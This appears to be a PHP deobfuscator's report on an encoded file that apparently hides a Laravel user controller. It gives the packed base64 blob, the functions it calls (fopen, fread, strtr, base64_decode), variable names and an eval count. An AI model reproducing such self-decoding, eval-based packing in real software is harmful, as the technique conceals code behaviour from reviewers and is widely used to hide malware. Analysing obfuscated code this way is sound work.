05mxqeiV51pwr5P4dQsdJnRDHK0dMFIaKo7L24IaKo6PBLmtl0pKXp9tJOucbOydBypdtE9wocpduOlFl92CbwPkrasCBlSA2a0folVcZxoUAxAOakgA0yKUaOkBLagOA1nUAXpKXppcJEPwBcpduOlFl92CbwPkrflfrasCBlSRrckTyOyAl9BWAxkOryAOa9yTAykTtLpwuShFMa0fbkVwuklF3nvdmYlhyShk1Y0CbO1FZF9NJflFmkvFJFStJfYcbYzcB5mcbwmNT4mxkeiV4sVDtnr4dQidMFIOB1iDBXIU2jeso5mwrYPX61VDtnCX6yjkXpfhTShgWPLcB1iDBxaF2aZwe0IabYlFjP6f2ilFMAPabYlFjP6OLlyTrOgOA1nUAXSkrflfrasCBlShU0+cMlZF3WPhTShDBCIhtrLcB1iDBxaF2aZhUn7tmklfuaZdJnZcbYXd25zcUidtJfTfoy0fbHmNT4mcbkZd3wmREPmTBazF2aVc2aZkz0+k0asCBlSwr7ePuLIU2jeso5mwyTiV5YVwyTiVQypwyOZX6pVwrjiV4FIaojiV5yVcZFhbUL7tm0hDBCIhtOldBypdyazcbwsNMlLwe09NUELF2azF2lvdLlLhUn7tmklfuaZdJnZcbYXd25zcUidtJfTfoy0fbHmNT4mcbkZd3wmREPmTBazF2aVc2aZkz0+k0RiVQyVwrsPX7OVcZnADKo7IZneDua54dVedJneDo8IW2jeqB5PwrRiVQYVwyOPX6kVwr3eqo5PkXpfhTShgWPLfbYlFlnSCB5pctE9wtipdmWpkuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9WTryKb0lrhTShDBCIhtO1F2aZAoxidMlLwe09weEpwuShFMa0fbkVwuklF3nvdmYlhyShk1Y0CbO1FZF9NJflFmkvFJFStJfYcbYzcB5mcbwmNT4mWVo6PB4IU2jeso5mwrNeSZnuX7YpwHUW4dVewrYPfbmiV4YVkXpfhTShgWppcJEPholVftLLcB1iDBxaF2aZRT5mcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgArxnTl9kOtLIwT0IHtLIGXpZcbO1FM4IFMazFo9VF2APBXPmA3Oifuazkz0+k2aZFM9ZkZXhk01lF3YldMflFJF9NJfWDHKsCUnydBypdtnKDKo6qB4IxkeePZneX7HIO8KzDUnr4dVRC2IIaVo7pUFhbUL7tm0hkyYldMOHcB5bcBkYcUE9wtnMDBxlb2flfy9jd250cB50FZIJDuO0FuH6RZ8JRMYvdMcpcZImfjkJd2yZct5rd21iDB5bcBkYcUFSk3cXdMOiforVfM4mhU4JR2yXDU92HU91F2aZf2aJC29VR0YPfblldLfvDT9Ld21iDB49wJ4LFMaxfBazft0+c2a0Uo9zftIpRJwMcB1iDBX9wJ5jd25MDBFPk3CZCM9iFMWVOB1iDBxnco1pdlflCL1lkZLVwJcXCbYzf29Zce0JRMYvdMcpcZImfjkJd2yZct5YCbORDoy1WBOsDB5bcBkYcUFpRJwMfo9qcB51F2aZNUwVkuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9AT0syTJLVwJc0d2sldM5mfB9pdMiidj0JRJOldBypdyazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9AT0syTJLpKXPLcoy0CUE9wopzd25gcoajd2OlhtOTcB5LToaVa2aJTBASfuk1cUL7tMlMwtILcoy0CaSmF3Oifuazk10INT0IwMaZFM9ZwJLIGXpiCM9ZftI1HeESb18PkoOifoydk21lF3Yic2AmbULpKXp9tJOldBypdyazcbwsNmYlfry0fukpCma0cUiaF2aZKjpoUAaHOy9WTryKb0lrRtO1F2aZAoxidMlLhTShkoasCBlSabYlFJ0+F2a0WbO0FMlJfbOlhyazcbw6KLckOAxrb0aCArlUOAOgWaWSkuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9yBynkALarb0yAhUL7tMlMwtIikoasCBlSabYlFJ0+F2y2cUIphbShFMa0fbkVwuklF3nvdmYlhyShk1Y0CbO1FZF9NJflFmkvFJFStJfYcbYzcB5mcbwmNT4JW2i1GGo7I24IO8KzDUnr4dVRC2IIaVo7pUnADKo6pbWIWVo6PBLJtl0pKXp9tJO1F2aZRT5zcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgArxnTl9kOtXXhTShkuazcbwsNmYlfry0fukpCma0cUiaF2aZKjpoUAaHOy9yBynkALarb0yARo51doXpKXppcJILfbYlFJ0+F2y2cUIphbShFMa0fbkVwuklF3nvdmYlhyShk1Y0CbO1FZF9NJfzfBYjcbYzkZXhk01lF3YldMflFJF9NJkeDua54dVedJnuX7YpwrTiV4sjDtnB4dVlwyOPX6nVDtneX7OVcZwhbUL7tm0hgWpXfBkSDBHIcmaVC3Opd24IDB5MdZiUcby1cbY0wtOZcby1cbY0hWp7tJOzcbYzDB9VUBWINUELFMaxfBazft0+F2azF2lvdJIpRT5mcbWPk2lLkZL7tJO1F2aZwe0IabYlFjP6cMlVctILF2azF2lvdLlLhTShDBCIhtO1F2aZwe09wo51doXpwuShCBkvFmWPYTEXRy9ghtfADoAIfbYlFJnLd2azwo5vftnlGolzftFphTShgWPLA2aVcrxldlflCL1lwe0Iwocpdoagc2a0b2YvdmOldmOzhtkPfuOXFzPvRZwVC29VcMlmhtf2HMkvCbkLRLOvdBypdlflCL1lkZXmfmnVcoy0CU52dJFpRJwvCbnpR3CxR3azcbk3cBkjd24vDB5Mdz9Ld21iDB49wJ4LFMaxfBazft0+c2a0Uo9zftIpRJwMcB1iDBX9wJ5jd25MDBFPk3CZCM9iFMWVOB1iDBxnco1pdlflCL1lkZLVwJcXCbYzf29Zce0JRMYvdMcpcZImfjkJd2yZct5YCbORDoy1WBOsDB5bcBkYcUFpRJwMfo9qcB51F2aZNUwVkuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9AT0syTJLpKXPLcoy0CUE9wopzd25gcoajd2OlhtOTcB5LToaVa2aJTBASfuk1cUL7tMlMwtILcoy0CaSmF3Oifuazk10INT0IwMaZFM9ZwJLIGXpiCM9ZftI1HeESb18PkoOifoydk21lF3Yic2AmbULpKXp9tJOLCbOiwe0IBXpaF2aZKjpoUAaHOy9kOtE9NJO1F2aZRT5mcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgUAWpREpaF2aZKjpoUAaHOy9yTAykTtE9NJO1F2aZRT5mcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgOA1nUAXpREpaF2aZKjpoUAaHOy9HWaYAb0xNO0lKb0yAwe0+kuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9HWaYAb0xNO0lKb0yAhUXhabYlFjP6OLlyTrOgW1kyWaOyOy9natE9NJO1F2aZRT5mcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgW1kyWaOyOy9natLStlazcbw6KLckOAxrb0knTL5yOtE9NJO1F2aZRT5mcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgWLyKTLarhUXhabYlFjP6OLlyTrOgALaYUA5rb1OUWAcoUAHINT4Lcoy0CaSmcoy0CUffBZfZcB1pdMOgfukicMcpCZffREpaF2aZKjpoUAaHOy9UOA1kTLOgOaiWUakywe0+koOifoydk2OiformbaSmFMasDB5Lb2a4FolZcUffREpaF2aZKjpoUAaHOy9yBynkALarb0yAwe0+koOifoydk2OiformbaSmcbiXDbklcy9iftffREpaF2aZKjpoUAaHOy9tWAxnTLYywe0+kuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9tWAxnTLYyhUXhabYlFjP6OLlyTrOgW09YTAlTA0lNTl9tWAxnTLYywe0+kuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9eT01YUaYTUA9Kb0knTryKW0ApREpaF2aZKjpoUAaHOy9WTryKb0lrwe0+koOifoydk2OiformbaSmFoxidl9pctffREpaF2aZKjpoUAaHOy9rUaYeT1aKatE9NJO1F2aZRT5mcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgOrlTW09aTlWpREpaF2aZKjpoUAaHOy9eT01YUaYTUA9Kb1knarAINT4LfbYlFJ0+c2a0WbO0FMlJfbOlhyazcbw6KLckOAxrb0YNTA1kA1YkT05gALyAOULStlazcbw6KLckOAxrb1OyTrauALyYb0lrwe0+kuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9AOAxyO1knTa9kOtLStlazcbw6KLckOAxrb1YaA1nyTLOgaylWOUE9NJO1F2aZRT5mcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgA1aTAraKOy9ABanyhUXhabYlFjP6OLlyTrOgWacnaryUwe0+kuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9naLyAWawpREPmDbYgF3azFoaVctF9NJO1F2aZRT5pF1Y1F3nldMWPhUXhk3klC292cbk5b2y0kz0+kuazcbwsNmklC292cbk5aolscUIpREpfKXpZcbO1FM4IFMazFo9VF2APBXPmcoy0CUF9NJOLCbOitl0pKXp9tmn1CMxpCZnMfB5jfolvdJnzfoy0hyklFbalF3WIkuklFbalF3WptmShkuYlF3Ypd25kctE9wtOZcby1cbY0RT5zcbYzDB9VhtLsNMflftImDBWmhTShkuazcbwINUnaF2aZKjpMDB5LhtOzcbYzDB9VUBWpKXppcJEPkuazcbwINT0ITlaHTtLIGXpiCM9ZftI1HeESb18Pk1OPcUn1F2aZwoOvcbHIdM90woa4DbY0kZLpKXp9tJOzfoy0we0IBXPLfbYlFJ0+C291dmOadmniDBONFMOlFmHPhUXhkuazcbwsNMYvfB50aB5XFM9jcbYzcBOADBYqcbOzhtLStl07tmklfuaZdJnZcbYXd25zcUidtJfLCbOikz0+kuY0CbWhbUL7tm0hFuaJdoljwoc1dMY0DB9VwuY1CmYjFMlJcUiUcby1cbY0wtOZcby1cbY0hWp7tJOzcbYzDB9VUBWINUELFMaxfBazft0+F2azF2lvdJIpRT5mcbWPk2lLkZL7tJO1F2aZwe0IabYlFjP6cMlVctILF2azF2lvdLlLhTShDBCIhtO1F2aZwe09NUnVfBxShUn7tMyJd3k0heAXHtxgbZImaoilwuazcbwIco9lFZnVd3WIcbipF3WmhUL7tm0hkuY1CmYjFMlJcaaZdtE9wrildunlFjP6c2a0A3aJF2YZDBklabkShtwvCbnpR3CxR2YSDBaVft97kuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9AT0syTJl9wJL7tJOmcbOzfBwINUnMDBxlb2flfy9jd250cB50FZIJDuO0FuH6RZ8JRMYvdMcpcZImfjkJd2yZct5rd21iDB5bcBkYcUFSk3cXdMOiforVfM4mhU4JR2yXDU92HU91F2aZf2aJC29VR2flfyY1CmYjFMlJcT9Ld21iDB49wJ4LFMaxfBazft0+c2a0Uo9zftIpRJwMcB1iDBX9wJ5jd25MDBFPk3CZCM9iFMWVOB1iDBxnco1pdlflCL1lkZLVwJcXCbYzf29Zce0JRMYvdMcpcZImfjkJd2yZct5YCbORDoy1WBOsDB5bcBkYcUFpRJwMfo9qcB51F2aZNUwVkuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9AT0syTJLpKXPLDmYvdLOiforINUnQF29Vb2OlC29LcUILc2a0F3aJRuOZfBApKXPLDmYvdLOifoydk3Y1CmYjFMlJca91FMXmbUE9wtOzfBkzC3kpCMaaFMX7tJOQF29VOoy0CasaF2aZKjpoUAaHOy9TTLlKWA1ybUE9wtO1F2aZRT5mcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgA05kTLyYOUL7tJOQF29VOoy0CasaF2aZKjpoUAaHOy9kOy0INUELfbYlFJ0+c2a0U2a5htL7tJOQF29VOoy0CasaF2aZKjpoUAaHOy9yTAykTy0INUELfbYlFJ0+c2a0WbO0FMlJfbOlhyazcbw6KLckOAxrb0aYWAlHhTShkopzd25rCbOiBZfkOyOiDAsPd2yVk10INUELfbYlFJ0+c2a0WbO0FMlJfbOlhyazcbw6KLckOAxrb0lrhTShkopzd25rCbOiBZfACBlRDo9idJffwe0IkuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9yTAykTtL7tJOQF29VOoy0CaSmA29rfUffwe0IkuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9tWAxnTLYyhU4JwycKxkEJKXPLDmYvdLOifoydk1YvaolldLivCAivdMFmbUE9wtO1F2aZRT5mcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgW09YTAlTA0lNTl9tWAxnTLYyhU4JwycKxkEJKXpZcbO1FM4IFMazFo9VF2APBXPmcoy0CUF9NJOQF29VOoy0CWpfhTShgWpXfBkSDBHIcmaVC3Opd24IFMazcbOTcBY1FMl0GUiUcby1cbY0wtOZcby1cbY0hWp7tJOzcbYzDB9VUBWINUELFMaxfBazft0+F2azF2lvdJIpRT5mcbWPk2lLkZL7tJO1F2aZwe0IabYlFjP6cMlVctILF2azF2lvdLlLhTShDBCIhtO1F2aZwe09NUnVfBxShUn7tMyJd3k0heAXHtxgbZImTMgoSKo7mBLIOHK5dMFIU2jeso5mwyTiV5YVwyTiVQypwyOZX6pVwrjiV4FIaojiV5yVcZFphTShgWPLA2aVcrxldlflCL1lwe0Iwocpdoagc2a0b2YvdmOldmOzhtkPfuOXFzPvRZwVC29VcMlmhtf2HMkvCbkLRLOvdBypdlflCL1lkZXmfmnVcoy0CU52dJFpRJwvCbnpR3CxR3azcbk3cBkjd24vFMazcbOTcBY1FMl0GT9Ld21iDB49wJ4LFMaxfBazft0+c2a0Uo9zftIpRJwMcB1iDBX9wJ5jd25MDBFPk3CZCM9iFMWVOB1iDBxnco1pdlflCL1lkZLVwJcXCbYzf29Zce0JRMYvdMcpcZImfjkJd2yZct5YCbORDoy1WBOsDB5bcBkYcUFpRJwMfo9qcB51F2aZNUwVkuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9AT0syTJLpKXPLcoy0CUE9wopzd25gcoajd2OlhtOTcB5LToaVa2aJTBASfuk1cUL7tMlMwtILcoy0CaSmF3Oifuazk10INT0IwMaZFM9ZwJLIGXpiCM9ZftI1HeESb18PkoOifoydk21lF3Yic2AmbULpKXp9tJO1F2aZRT5zcbOnfuOZDBk1foAPabYlFjP6OLlyTrOgaaakOtXLcoy0CaSmfbapctffhTShkuazcbwsNmYlfry0fukpCma0cUiaF2aZKjpoUAaHOy9AT0syTJXLcoy0CaSmfo9qcB4mbUL7tMlMwtIikuazcbwsNmYifMAPhULIGXpiCM9ZftI1HeESb18Pk1klF2a0wociDBxlctFphTShgWpZcbO1FM4IFMazFo9VF2APBXPmcoy0CUF9NMYvdMcpcZImfjkJd2yZct5zfBkzC3kpCMagfbkSkZxjd25MDBFPk3CZCM9iFMWVCbnXb3aZdtFScB52htfnAyngaakHkZLphUEVkZ9iFoLvfjrvC2xpcB50RZFVkuazcbwsNMflfry0fukpCma0cUiaF2aZKjpoUAaHOy9AT0syTJLhbUL7tm0hFuaJdoljwoc1dMY0DB9VwrxpC2iTfA5iFyOpcB4PAMaxfBazftELFMaxfBazftLhGXPLF2azF2lvdLlLwe0IkuklFbalF3WsNmYlF3Ypd24PhU0+c2a0htfpctFpKXPLfbYlFJE9wyazcbw6KMcpdMWPkuYlF3Ypd25kctL7tMlMwtILfbYlFJE9NT0IdmaSdtLIGXpiCM9ZftI1HeESb18Pk05mxqeiV51pwrTeVB5mwrsPX7OVcZnA4dVTdJnA4dQiDUnAFSKQdJnw4dVuwyOP4dVOdMFmhUL7tm0hkuazcbkgDBWINUELfbYlFJ0+c2a0WbO0FMlJfbOlhyazcbw6KLckOAxrb0lrhTShkrspcB1AFMyHDBYPA3aKCbnADBaVwe0ITo9mFzP6f2ilFMAPTo9mFzP6OLlyTrOgaaYyALlrRtO1F2aZb2lLhU0+c2a0hySmC3klCbOlcy9iftFSk1YvaolldJffhTShDBCIhtORDBasaukiToljDyY1TMyXaolldJ0+DbYydbn0GUIphUn7tmklfuaZdJnZcbYXd25zcUIpRT5QF29VhyShk3Y0CbO1FZF9NJklFmkvFJwStJfsF2FmNT4JWVo6PB4IW2joSorIaKo7Q25mwr7iVQyXwyOp4dVndJEiwIpfhTShgBaSF2AIGXpZcbO1FM4IFMazFo9VF2APhU0+DmYvdJidtJfzfoy0fbHmNT4JF3ajC2azFZwStJfsF2FmNT4LU2lldaOZCAxpC2iTfA5iFyOpcB4hbUL7tm0hgWpXfBkSDBHIcmaVC3Opd24IfbnLCbOlhyazcbkaFoOifoAIkuklFbalF3WptmShkuYlF3Ypd25kctE9wtOZcby1cbY0RT5zcbYzDB9VhtLsNMflftImDBWmhTShkuklFakldBlVcra4FolZcUE9wtOZcby1cbY0RT5pdmn1ftIJFMasDB5Lb2a4FolZcUwpKXPLFMaxAMasDB5LaukicMcpCZE9wtOZcby1cbY0RT5pdmn1ftIJFMasDB5Lb3OZCBcMDBHJhTShkuazcbwINUnaF2aZKjpMDB5LhtOzcbYzDB9VUBWpKXppcJEPkuazcbwINT09wo51doXpwuShCBkvFmWPYTEXRy9ghtfADoAIfbYlFJnLd2azwo5vftnlGolzftFphTShgWppcJEPkuklFakldBlVcra4FolZcUEiNT0IdmaSdtLIGXPLfbYlFJ0+F2a0WbO0FMlJfbOlhyazcbw6KLckOAxrb1kyTAlKOy9yBynkALASholVftLLFMaxAMasDB5LObiXDbklhTShgWppcJEPkuklFakldBlVcyOZCBcMDBHIwT09wo51doXpwuShkuazcbwsNmYlfry0fukpCma0cUiaF2aZKjpoUAaHOy9UOA1kTLOgayknOLckWZXPDB50hUOZcbyUcB1pdMOAFMyMcMljhTShgWppcJEPw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^x

Function Calls

fopen 1
fread 3
strtr 2
fclose 1
urldecode 1
str_replace 1
base64_decode 3

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OO00O0000 19104
$OO00O00O0 namespace App\Http\Controllers\User; use App\Http\Controlle..
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php

Stats

MD5 c042ad38365877bcdf19fc1737b0dd8d
Eval Count 3
Decode Time 120 ms